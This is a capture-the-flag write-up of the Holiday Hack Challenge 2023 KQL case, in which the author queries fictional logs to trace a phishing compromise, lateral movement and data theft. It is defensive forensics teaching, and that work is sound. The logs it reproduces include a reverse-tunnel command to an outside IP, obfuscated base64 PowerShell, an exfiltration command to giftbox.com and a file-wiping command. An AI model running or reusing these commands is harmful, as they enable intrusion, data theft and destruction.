| Holiday Hack Challenge 2023 Report | Cody Travis <cwtravis@gmail.com> |
Difficulty: |
|
I had a lot of fun completing this challenge. I have never used KQL before HHC 2023. I used the recommended Kusto Explorer to complete this challenge. I followed the "Onboarding" step at https://detective.kusto.io/inbox and created my Azure account and created my KQL database. I executed the provided script to construct the database tables and populate the data.
Once the KQL DB was setup and populated I could answer the question "How many Craftperson Elf's are working from laptops?"
Employees
| where hostname has "LAPTOP" and role has "Craftsperson"
| count
count
25
I entered 25 in the Answer box and moved on to Case 1
The clock is ticking, and the stakes are high - are you up for this exhilarating challenge? Your skills will be put to the test, and the future of Geese Island's digital security hangs in the balance. Good luck!
OutboundNetworkEvents
| where url == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
| join kind=inner Employees on $left.src_ip == $right.ip_addr
| project name, email_addr, ip_addr
name email_addr ip_addr
Alabaster Snowball alabaster_snowball@santaworkshopgeeseislands.org 10.10.0.4
Email
| where link == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx" and recipient =~ "alabaster_snowball@santaworkshopgeeseislands.org"
| project sender, subject
sender subject
cwombley@gmail.com [EXTERNAL] Invoice foir reindeer food past due
| Question | Answer |
|---|---|
| What is the email address of the employee who received this phishing email | alabaster_snowball@santaworkshopgeeseislands.org |
| What is the email address that was used to send this spear phishing email? | cwombley@gmail.com |
| What was the subject line used in the spear phishing email? | [EXTERNAL] Invoice foir reindeer food past due |
If the victim is someone important, our organization could be doomed! Hurry up, let's find out more about who was impacted!
All three questions can be answered with one query...
OutboundNetworkEvents
| where url == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
| join kind=inner Employees on $left.src_ip == $right.ip_addr
| project name, email_addr, ip_addr, role, hostname
name email_addr ip_addr role hostname
Alabaster Snowball alabaster_snowball@santaworkshopgeeseislands.org 10.10.0.4 Head Elf Y1US-DESKTOP
| Question | Answer |
|---|---|
| What is the role of our victim in the organization? | Head Elf |
| What is the hostname of the victim's machine? | Y1US-DESKTOP |
| What is the source IP linked to the victim? | 10.10.0.4 |
Use our various security log datasources to uncover more details about what happened to Alabaster.
OutboundNetworkEvents
| where url == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
| project timestamp
timestamp
2023-12-02 10:12:42.0000000
FileCreationEvents
| where hostname == "Y1US-DESKTOP" and timestamp between (datetime(2023-12-02 10:12:42.0000000) .. datetime_add('minute', 2, datetime(2023-12-02 10:12:42.0000000)))
| project filename
filename
MonthlyInvoiceForReindeerFood.docx
giftwrap.exeBecause I was already aware of the file "MonthlyInvoiceForReindeerFood.docx" the file dropped by the attacker must be giftwrap.exe.
| Question | Answer |
|---|---|
| What time did Alabaster click on the malicious link? Make sure to copy the exact timestamp from the logs! | 2023-12-02 10:12:42.0000000 |
| What file is dropped to Alabaster's machine shortly after he downloads the malicious file? | giftwrap.exe |
Can you take a closer look at endpoint data from Alabaster's machine? We need to figure out exactly what happened here. Word of this hack is starting to spread to the other elves, so work quickly and quietly!
ProcessEvents
| where hostname == "Y1US-DESKTOP" and process_commandline contains "forward"
| project process_commandline
process_commandline
"ligolo" --bind 0.0.0.0:1251 --forward 127.0.0.1:3389 --to 113.37.9.17:22 --username rednose --password falalalala --no-antispoof
The IP connected to was "113.37.9.17".
ProcessEvents
| where hostname == "Y1US-DESKTOP" and process_commandline contains "net share"
| project timestamp
timestamp
2023-12-02 16:51:44.0000000
ProcessEvents
| where hostname == "Y1US-DESKTOP" and process_commandline contains "net use"
| project process_commandline
process_commandline
cmd.exe /C net use \\NorthPolefileshare\c$ /user:admin AdminPass123
| Question | Answer |
|---|---|
| The attacker created an reverse tunnel connection with the compromised machine. What IP was the connection forwarded to? | 113.37.9.17 |
| What is the timestamp when the attackers enumerated network shares on the machine? | 2023-12-02 16:51:44.0000000 |
| What was the hostname of the system the attacker moved laterally to? | NorthPolefileshare |
Look around for encoded commands. Use your skills to decode them and find the true meaning of the attacker's intent! Some of these might be extra tricky and require extra steps to fully decode! Good luck!
ProcessEvents
| where hostname == "Y1US-DESKTOP" and process_commandline contains "-enc"
| sort by timestamp asc
timestamp process_commandline
2023-12-15 11:20:14.0000000 C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc SW52b2tlLVdtaU1ldGhvZCAtQ29tcHV0ZXJOYW1lICRTZXJ2ZXIgLUNsYXNzIENDTV9Tb2Z0d2FyZVVwZGF0ZXNNYW5hZ2VyIC1OYW1lIEluc3RhbGxVcGRhdGVzIC0gQXJndW1lbnRMaXN0ICgsICRQZW5kaW5nVXBkYXRlTGlzdCkgLU5hbWVzcGFjZSByb290WyZjY20mXWNsaWVudHNkayB8IE91dC1OdWxs"
2023-12-24 16:07:47.0000000 C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn
2023-12-24 16:58:43.0000000 C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc W1N0UmlOZ106OkpvSW4oICcnLCBbQ2hhUltdXSgxMDAsIDExMSwgMTE5LCAxMTAsIDExOSwgMTA1LCAxMTYsIDEwNCwgMTE1LCA5NywgMTEwLCAxMTYsIDk3LCA0NiwgMTAxLCAxMjAsIDEwMSwgMzIsIDQ1LCAxMDEsIDEyMCwgMTAyLCAxMDUsIDEwOCwgMzIsIDY3LCA1OCwgOTIsIDkyLCA2OCwgMTAxLCAxMTUsIDEwNywgMTE2LCAxMTEsIDExMiwgOTIsIDkyLCA3OCwgOTcsIDExNywgMTAzLCAxMDQsIDExNiwgNzgsIDEwNSwgOTksIDEwMSwgNzYsIDEwNSwgMTE1LCAxMTYsIDQ2LCAxMDAsIDExMSwgOTksIDEyMCwgMzIsIDkyLCA5MiwgMTAzLCAxMDUsIDEwMiwgMTE2LCA5OCwgMTExLCAxMjAsIDQ2LCA5OSwgMTExLCAxMDksIDkyLCAxMDIsIDEwNSwgMTA4LCAxMDEpKXwmICgoZ3YgJypNRHIqJykuTmFtRVszLDExLDJdLWpvaU4=
2023-12-25 10:44:27.0000000 C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc QzpcV2luZG93c1xTeXN0ZW0zMlxkb3dud2l0aHNhbnRhLmV4ZSAtLXdpcGVhbGwgXFxcXE5vcnRoUG9sZWZpbGVzaGFyZVxcYyQ=
The correct timestamp is the 2nd one. The command ran on December 15th must have been Alabster himself. If you base64 decode the command run by the attacker it results in a reversed powershell command:
( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join ''
Reversing that string we get "powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt"
The file copied was "NaughtyNiceList.txt".
The 2nd command the attacker ran base64 decodes to a character array that has to be built into a string.
Starting:
W1N0UmlOZ106OkpvSW4oICcnLCBbQ2hhUltdXSgxMDAsIDExMSwgMTE5LCAxMTAsIDExOSwgMTA1LCAxMTYsIDEwNCwgMTE1LCA5NywgMTEwLCAxMTYsIDk3LCA0NiwgMTAxLCAxMjAsIDEwMSwgMzIsIDQ1LCAxMDEsIDEyMCwgMTAyLCAxMDUsIDEwOCwgMzIsIDY3LCA1OCwgOTIsIDkyLCA2OCwgMTAxLCAxMTUsIDEwNywgMTE2LCAxMTEsIDExMiwgOTIsIDkyLCA3OCwgOTcsIDExNywgMTAzLCAxMDQsIDExNiwgNzgsIDEwNSwgOTksIDEwMSwgNzYsIDEwNSwgMTE1LCAxMTYsIDQ2LCAxMDAsIDExMSwgOTksIDEyMCwgMzIsIDkyLCA5MiwgMTAzLCAxMDUsIDEwMiwgMTE2LCA5OCwgMTExLCAxMjAsIDQ2LCA5OSwgMTExLCAxMDksIDkyLCAxMDIsIDEwNSwgMTA4LCAxMDEpKXwmICgoZ3YgJypNRHIqJykuTmFtRVszLDExLDJdLWpvaU4=
base64 decodes to:
[StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))|& ((gv '*MDr*').NamE[3,11,2]-joiN
Builds into String:
downwithsanta.exe -exfil C:\\Desktop\\NaughtNiceList.docx \\giftbox.com\file
The exfiltration domain is "giftbox.com"
| Question | Answer |
|---|---|
| When was the attacker's first base64 encoded PowerShell command executed on Alabaster's machine? | 2023-12-24 16:07:47.0000000 |
| What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding) | NaughtyNiceList.txt |
| The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to? | giftbox.com |
We know that the attackers stole Santa's naughty or nice list. What else happened? Can you find the final malicious command the attacker ran?
The last command ran by the attacker base64 decodes to:
C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$The executable is "downwithsanta.exe" and the command line argument is "--wipeall".
| Question | Answer |
|---|---|
| What is the name of the executable the attackers used in the final malicious command? | downwithsanta.exe |
| What was the command line flag used alongside this executable? | --wipeall |